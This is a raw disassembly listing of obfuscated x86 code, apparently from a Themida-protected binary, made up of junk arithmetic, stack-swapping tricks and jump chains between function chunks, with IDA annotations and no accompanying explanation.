jmp loc_56AECF ; --------------------------------------------------------------------------- loc_56F449: ; CODE XREF: Themida_:0056A075j pop edx jmp loc_569409 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_56880E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_56F45A: ; CODE XREF: sub_561ED8+5299j sub dl, 64h inc dl push small 0 jmp loc_56CA29 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- loc_56F468: ; CODE XREF: Themida_:00561415j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 add edi, 4 push 54EEh mov [esp], eax mov eax, 4 add edi, eax pop eax jmp loc_55E71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F499: ; CODE XREF: sub_56755A+25Cj mov ecx, edi mov edi, [esp+16h+var_18+2] add esp, 4 jmp loc_56F283 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F4A6: ; CODE XREF: Themida_:0056ECB9j movsx cx, al push small 6C8Eh mov [esp], cx jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56F4B7: ; CODE XREF: sub_56F653-13C5Fj sub bl, 0D1h push eax mov al, 8Bh shl al, 1 shl al, 2 add al, 96h sub bl, al jmp loc_56330A ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_56F4CB: ; CODE XREF: Themida_:00560C1Bj mov [esp], eax mov ah, 0FDh neg ah jmp loc_566EB3 ; --------------------------------------------------------------------------- loc_56F4D7: ; CODE XREF: Themida_:005612B3j sub esp, 4 mov [esp], edx mov dh, 0F6h push ecx mov cl, 18h push eax mov al, 0BAh shr al, 2 xor al, 0D9h xor al, 0E2h jmp loc_563019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F4F4: ; CODE XREF: sub_56755A+6E6Dj mov [esp-1Ch+arg_18], esi mov esi, 56927473h xchg ecx, esi push esi jmp loc_5627D9 ; --------------------------------------------------------------------------- loc_56F504: ; CODE XREF: sub_56755A-57F2j mov [esp+0Ch+var_C], ecx mov ecx, 2E122A85h or ecx, 4EC32665h add ecx, 1 not ecx neg ecx jmp loc_56C602 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F521: ; CODE XREF: Themida_:0055C98Ej sub eax, ebx jmp loc_564EC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565996 loc_56F528: ; CODE XREF: sub_565996+80A5j sub eax, 69D144FDh add eax, esi add eax, 69D144FDh jmp loc_566C02 ; END OF FUNCTION CHUNK FOR sub_565996 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F539: ; CODE XREF: sub_56755A+6BD3j mov ch, 0B2h add bl, 29h sub bl, 8Ah add bl, ch add bl, 8Ah push 6821h mov [esp-4+arg_0], edx mov dh, 29h sub bl, 7Ch sub bl, dh add bl, 7Ch jmp loc_56B875 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5636A9 loc_56F55D: ; CODE XREF: sub_5636A9-69A4j or bl, 79h add bl, 99h xor bl, 66h mov ah, bl jmp loc_55C7E2 ; END OF FUNCTION CHUNK FOR sub_5636A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_56F56D: ; CODE XREF: sub_565C4A-9E9Bj add esp, 4 push eax jmp loc_56EC61 ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- loc_56F576: ; CODE XREF: Themida_:0056F61Aj neg ebp xor ebp, 0FBDEEE02h add esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_570278 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_56F58F: ; CODE XREF: sub_55DA88+1791j xor eax, 3F3568F9h and eax, 12282AB7h xor eax, 0A34C242h add edx, eax pop eax mov eax, edx jmp loc_56FC86 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F5A8: ; CODE XREF: sub_56755A-3654j add ebp, 4 xchg ebp, [esp+28h+var_28] pop esp xor ebx, [esp+24h+var_24] xor [esp+24h+var_24], ebx xor ebx, [esp+24h+var_24] mov esp, [esp+24h+var_24] mov ax, word ptr [esp+24h+var_24] jmp sub_56EBD2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_56F5C4: ; CODE XREF: sub_55D71E-6F0j xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] jmp loc_5665B2 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F5CF: ; CODE XREF: sub_56755A-A46Ej add edx, ebx mov ebx, [esp+20h+var_20] add esp, 4 add edx, 4 xor edx, [esp+1Ch+var_1C] xor [esp+1Ch+var_1C], edx xor edx, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] add ax, 6CABh add ax, di jmp loc_56CD60 ; --------------------------------------------------------------------------- loc_56F5F8: ; CODE XREF: sub_56755A+57E9j xor eax, edi mov edi, [esp+4+var_4] add esp, 4 jmp loc_56B176 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F608: ; CODE XREF: Themida_:005629B8j pop ebx jmp loc_56F372 ; --------------------------------------------------------------------------- loc_56F60E: ; CODE XREF: Themida_:0056D77Ej sub ebp, 54771FFCh and ebp, 142B7350h jmp loc_56F576 ; --------------------------------------------------------------------------- loc_56F61F: ; CODE XREF: Themida_:0056E1EBj mov ecx, 7040D86h push ebx mov ebx, 62A135EAh or ecx, ebx pop ebx sub ecx, 0FFFFFFFFh shr ecx, 5 jmp loc_56051E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D65 loc_56F63B: ; CODE XREF: sub_560D65-5A8j add eax, 44630BD8h sub eax, ebx jmp loc_55E0BB ; END OF FUNCTION CHUNK FOR sub_560D65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F647: ; CODE XREF: sub_56755A-B462j dec eax push edx mov edx, 258E679Dh jmp loc_567F65 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56F653 proc near ; CODE XREF: sub_56C64C-10B8Cj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055B9ED SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055BB39 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055DDD3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055EC0A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055ECF4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0055F5AD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005601FA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561D7A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056330A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564457 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005658F8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00567138 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005688A5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005689E7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568BA5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005693A5 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00569F8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A3D0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056AA23 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B382 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0056C747 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056CEB9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056D851 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056E26B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E2E8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F194 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056F4B7 SIZE 00000014 BYTES push ebx mov bh, 2Ah inc bh jmp loc_56D851 sub_56F653 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F65D: ; CODE XREF: sub_56755A+54BAj pop edi sub [esp+1Ah+var_18+2], ecx pop ecx mov eax, [esp+16h+var_18+2] push ebp jmp loc_55B90C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F66C: ; CODE XREF: Themida_:0056ECF0j or [esp], eax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562272 loc_56F675: ; CODE XREF: sub_562272-5B66j mov edi, 70FF44F9h sub esp, 4 mov [esp+0Ch+var_C], edx mov edx, 427D3591h push edi mov edi, 77792522h dec edi not edi sub edi, 51423D6Ch shr edi, 1 jmp loc_566A89 ; END OF FUNCTION CHUNK FOR sub_562272 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_56F69E: ; CODE XREF: sub_56B774-31AAj add ebx, 1F8406A5h shl ebx, 4 shr ebx, 1 sub ebx, 1E194F68h xor ebx, 0B5CF8E2Bh sub eax, ebx pop ebx add ebx, eax mov eax, [esp+0Ch+var_C] jmp loc_56329A ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F6C2: ; CODE XREF: sub_56755A-BD59j add esi, 407648C5h push ecx mov ecx, 399B519Ch jmp loc_561230 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F6D3: ; CODE XREF: Themida_:0056A6D8j add ecx, 4 sub ecx, 4 jmp loc_560C11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F6E4: ; CODE XREF: sub_56755A-387Bj push 73C4h jmp loc_55CB6F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_56F6EE: ; CODE XREF: sub_562F50+D0B8j xor ebp, 52306B31h jmp loc_56F029 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- loc_56F6F9: ; CODE XREF: Themida_:0055F698j inc eax shl eax, 7 shl eax, 3 add eax, 0DFFFE004h add esi, eax mov eax, [esp] jmp loc_55C9FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F70F: ; CODE XREF: sub_56755A+4FEj mov [esp+4+var_4], ebx mov ebx, 4BDA1D67h jmp loc_55CD9B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_56F71C: ; CODE XREF: sub_56CEE9+6j mov ebp, ebx jmp loc_569C59 ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F731: ; CODE XREF: sub_56755A+A7j push [esp+4+var_4] mov edx, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], esi mov esi, esp add esi, 4 push edi push 4 mov edi, [esp+10h+var_10] add esp, 4 add esi, edi mov edi, [esp+0Ch+var_C] add esp, 4 push esi push [esp+0Ch+var_8] mov esi, [esp+10h+var_10] add esp, 4 pop [esp+0Ch+var_C] pop esp push 321Dh mov [esp+8+var_8], esi sub esp, 4 mov [esp+0Ch+var_C], ecx push 51141CD6h pop ecx and ecx, 482F7EB7h sub ecx, 21C5CDF8h jmp loc_5679DC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F796: ; CODE XREF: Themida_:0055FA3Bj jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F79B: ; CODE XREF: sub_56755A-9D37j mov bh, 38h jmp loc_56F919 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_56F7A2: ; CODE XREF: sub_562F50+6j mov [esp+4+var_4], ecx jmp loc_56B10A ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- loc_56F7AA: ; CODE XREF: Themida_:00566B6Bj add ecx, 0C4D1A875h mov ebx, ecx jmp loc_5636E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F7B7: ; CODE XREF: sub_56755A-7E95j pop eax jmp loc_563525 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F7BD: ; CODE XREF: Themida_:00568DD8j add esp, 4 xor edx, [esp] jmp loc_563530 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_56F7C8: ; CODE XREF: sub_5635DE+342j add edi, edx pop edx add edx, edi pop edi add edx, 4 xchg edx, [esp+0] pop esp jmp loc_56F7EB ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- mov cx, [esp] push 9F9h jmp loc_55EF8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_56F7EB: ; CODE XREF: sub_5635DE+C1FAj add esp, 4 push 5367h mov [esp+0], edx push eax jmp loc_560446 ; END OF FUNCTION CHUNK FOR sub_5635DE ; =============== S U B R O U T I N E ======================================= sub_56F7FC proc near ; CODE XREF: sub_56755A+3C37j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h ; FUNCTION CHUNK AT 0055FE1B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056066D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005607FE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00560811 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00560AEF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00560CBD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005614A0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00562989 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005633EA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00563FF4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056420C SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005642D2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056589C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00565A08 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00565C9A SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005665C1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00567306 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568F21 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005691AF SIZE 0000003B BYTES ; FUNCTION CHUNK AT 0056A37A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056ADB7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056B3CA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056B4E7 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056B538 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B60B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056B7DC SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056CFF7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056DBBF SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056E408 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056E865 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056FA19 SIZE 00000036 BYTES push ebx jmp loc_5633EA sub_56F7FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F802: ; CODE XREF: sub_56755A+367Fj mov ah, 8Bh jmp loc_55CBF8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F809: ; CODE XREF: Themida_:00567555j push esi jmp loc_5651AF ; --------------------------------------------------------------------------- loc_56F80F: ; CODE XREF: Themida_:00568809j mov ch, 2 add ch, 0FFh sub esp, 2 mov [esp], bx mov bl, dl jmp loc_57076A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_56F825: ; CODE XREF: sub_5635DE+6353j shr ecx, 6 add ecx, 0E867DA4h push ebp mov ebp, 0FFC61791h add ecx, ebp jmp loc_560842 ; END OF FUNCTION CHUNK FOR sub_5635DE ; =============== S U B R O U T I N E ======================================= sub_56F83B proc near ; CODE XREF: sub_56755A+719j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055F1AD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561E26 SIZE 00000009 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 jmp loc_55F1AD sub_56F83B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_56F854: ; CODE XREF: sub_55E931+B038j xchg esi, edi neg esi push edi push esi pop edi pop esi jmp loc_56EEE4 ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56F861: ; CODE XREF: sub_55CD7B+55F4j mov [esp+0Ch+var_C], esi jmp loc_56B1CB ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F869: ; CODE XREF: sub_56755A+2019j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56F86E: ; CODE XREF: sub_56E89A+1D52j push 0FFCh mov [esp+10h+var_10], ebp jmp loc_56A676 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F87B: ; CODE XREF: sub_56755A-2099j push 5DE6229Fh pop edx push ebx mov ebx, 72E65566h xor edx, ebx push [esp+22h+var_24+2] pop ebx add esp, 4 jmp loc_563951 ; --------------------------------------------------------------------------- loc_56F895: ; CODE XREF: sub_56755A+70AAj add edi, 4 sub edi, 4 xchg edi, [esp+32h+var_34+2] jmp loc_56DD02 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F8A9: ; CODE XREF: Themida_:0055EA42j push 25A30D3Fh pop ecx neg ecx add ecx, 4694F3C9h add eax, ecx pop ecx xor edi, eax mov eax, [esp] add esp, 4 jmp loc_565058 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F8CA: ; CODE XREF: sub_56755A-A67Ej xor edx, 43450DF1h sub ebp, 428B2141h add ebp, 1B876832h add ebp, edx sub ebp, 1B876832h jmp loc_567A22 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F8E9: ; CODE XREF: Themida_:0056A533j push dword ptr [esp+4] pop edx jmp loc_55E6EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_56F8F3: ; CODE XREF: sub_56667A-6E97j push 2AAE15DBh pop esi shl esi, 1 add esi, 1 xor esi, 75523Dh jmp loc_568E42 ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F90C: ; CODE XREF: sub_56755A+56F6j pop ecx jmp loc_56C29B ; --------------------------------------------------------------------------- loc_56F912: ; CODE XREF: sub_56755A+276Bj add al, 0DDh jmp loc_56D363 ; --------------------------------------------------------------------------- loc_56F919: ; CODE XREF: sub_56755A+8243j push eax mov ah, bh mov cl, ah jmp loc_5619CF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_56F923: ; CODE XREF: sub_56AE72-F042j shl ecx, 1 jmp loc_56D3C3 ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- loc_56F92A: ; CODE XREF: Themida_:0056B714j dec edx add edx, 4ED2BEAh sub edx, 1A76272Fh xor edx, 0FD502B1Dh jmp loc_567F9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_56F942: ; CODE XREF: sub_56E55E-1822j push 7EFAh mov [esp+0Ch+var_C], edx mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_56BE7B ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_56F958: ; CODE XREF: sub_56CD48-F62Fj pop ecx jmp loc_56133B ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56F95E: ; CODE XREF: sub_55CD7B+70D6j add edx, ecx jmp loc_5638B5 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5696A6 loc_56F965: ; CODE XREF: sub_5696A6-5921j push edi mov edi, 61513CC6h mov ebp, 7E875C34h xor ebp, edi pop edi jmp loc_55FCE9 ; END OF FUNCTION CHUNK FOR sub_5696A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F978: ; CODE XREF: sub_56755A+5E64j xor ch, 95h mov dh, ch pop ecx jmp loc_565A2D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673DF loc_56F983: ; CODE XREF: sub_5673DF-4D47j sub ebx, 5A6631E6h push esi jmp loc_55E59B ; END OF FUNCTION CHUNK FOR sub_5673DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_56F98F: ; CODE XREF: sub_55FDEF+8D83j add edx, ebp pop ebp add edx, 4 xchg edx, [esp+8+var_8] pop esp push ebp mov ebp, 674E3CD9h add ebx, ebp mov ebp, [esp+8+var_8] add esp, 4 jmp loc_55C49D ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F9AC: ; CODE XREF: sub_56755A+61E6j pop edx xor ecx, 0B5C7079h jmp loc_56D22E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56F9B8: ; CODE XREF: Themida_:005662A8j pop ecx not ecx jmp loc_566564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_56F9C0: ; CODE XREF: sub_55C719+2747j and ecx, 4792227Dh shl ecx, 5 shl ecx, 6 neg ecx add ecx, 24004h jmp loc_55BE48 ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_56F9D9: ; CODE XREF: Themida_:00568B55j pop eax add bl, ch jmp loc_56A69E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56F9E1: ; CODE XREF: sub_56755A+4EE2j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+2Ch+var_2C] pop esp push ecx push ebx mov ebx, 376F1000h mov ecx, 8CF78A64h sub ecx, ebx jmp loc_56FF0A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FA07: ; CODE XREF: Themida_:00564E1Fj xchg ebx, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5677FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56FA19: ; CODE XREF: sub_56F7FC-84F3j or ebx, 38BF3161h shl ebx, 1 xchg edi, ebx not edi xchg edi, ebx shl ebx, 7 add ebx, 48A35133h mov ebp, ebx pop ebx mov edx, 0A516A401h sub edx, ebp pop ebp push eax mov eax, 58AC164Ch push ecx mov ecx, 0CC22FE79h xor eax, ecx pop ecx jmp loc_5614A0 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FA4F: ; CODE XREF: sub_56755A+1097j xchg edi, [esp+2Ch+var_2C] jmp loc_55D06D ; --------------------------------------------------------------------------- loc_56FA57: ; CODE XREF: sub_56755A-9423j mov esi, 0A614FA45h add ecx, esi pop esi sub ebp, ecx mov ecx, [esp+0] add esp, 4 sub ebp, edi push edi push ebx push 6C986F0Ah pop ebx xor ebx, 303A1A39h add ebx, 0B8B0E583h mov edi, ebx jmp loc_56FF4A ; --------------------------------------------------------------------------- loc_56FA84: ; CODE XREF: sub_56755A+32F7j push ecx mov ecx, 3BD05FA0h push ebp push eax push esi jmp loc_56AEB8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FA92: ; CODE XREF: Themida_:0055E6E2j add ecx, ebx sub ecx, 79834A74h pop ebx add ecx, 4 push 462Dh jmp loc_56BB6B ; --------------------------------------------------------------------------- loc_56FAAB: ; CODE XREF: Themida_:0055BE0Fj sub ebx, 288BF2BAh and esi, ebx pop ebx push ebx mov ebx, 0FFFFFFFFh add esi, ebx pop ebx shr esi, 1 or esi, 6ACD1CB3h add esi, 9532E14Bh push 227h mov [esp], esi mov esi, 0DDD4BF3h sub ecx, esi pop esi add ecx, 69EE0CC9h add ecx, esi jmp loc_56D147 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FAE8: ; CODE XREF: sub_56755A-32B0j mov esi, esp jmp loc_55D8CF ; --------------------------------------------------------------------------- loc_56FAEF: ; CODE XREF: sub_56755A+B9Cj sub esi, 0CA12E01h xor esi, 0FE614845h xor ecx, esi jmp loc_56499D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FB02: ; CODE XREF: Themida_:00568F3Ej push small word ptr [eax] jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56FB0A: ; CODE XREF: Themida_:00566BD2j and esi, 775A709Ah add esi, 0FD0C2D4Bh sub ebx, 198B17A2h sub ebx, esi jmp loc_568464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560DA7 loc_56FB23: ; CODE XREF: sub_560DA7+5D8Ej add edi, 277418AEh jmp loc_56A2C1 ; END OF FUNCTION CHUNK FOR sub_560DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568EFC loc_56FB2E: ; CODE XREF: sub_568EFC+1j push 29B84BC9h pop ebp jmp sub_5637DB ; END OF FUNCTION CHUNK FOR sub_568EFC ; --------------------------------------------------------------------------- loc_56FB39: ; CODE XREF: Themida_:0055CD27j add ebx, 55185852h jmp loc_56B299 ; --------------------------------------------------------------------------- loc_56FB44: ; CODE XREF: Themida_:00570253j sub edx, 4 push edx jmp loc_55EF08 ; --------------------------------------------------------------------------- lodsd sub eax, 75C2860h push edx push 1BFh mov [esp], ebp jmp loc_56AFF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FB61: ; CODE XREF: sub_56755A+445j add eax, 4 add eax, 4 xchg eax, [esp+2Ch+var_2C] jmp loc_567815 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FB73: ; CODE XREF: Themida_:005697D6j add edi, 4 xchg edi, [esp] pop esp push ebp mov ebp, 1B5E0A01h jmp loc_560D7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56FB85: ; CODE XREF: sub_56755A+8EB2j xchg ebx, [esp+2Ch+var_2C] pop esp or eax, eax jz loc_55D828 sub esp, 4 mov [esp+2Ch+var_2C], eax mov eax, 1Ch jmp loc_56228C ; --------------------------------------------------------------------------- loc_56FBA4: ; CODE XREF: sub_56755A+85Fj pop ecx shr edi, 2 shl edi, 4 xor edi, ebp jmp loc_56EC0C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56FBB2: ; CODE XREF: Themida_:0056EDBDj neg eax jmp loc_55EA3E ; --------------------------------------------------------------------------- loc_56FBB9: ; CODE XREF: Themida_:00565FDAj mov ebp, esi pop esi sub ebp, 86539BC8h add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_56CC21 ; --------------------------------------------------------------------------- loc_56FBD3: ; CODE XREF: Themida_:00564B94j dec edx jmp loc_5633A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_56FBD9: ; CODE XREF: sub_56026A+D2CAj xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] jmp loc_5660F3 ; END OF FUNCTION CHUNK FOR sub_56026A ; 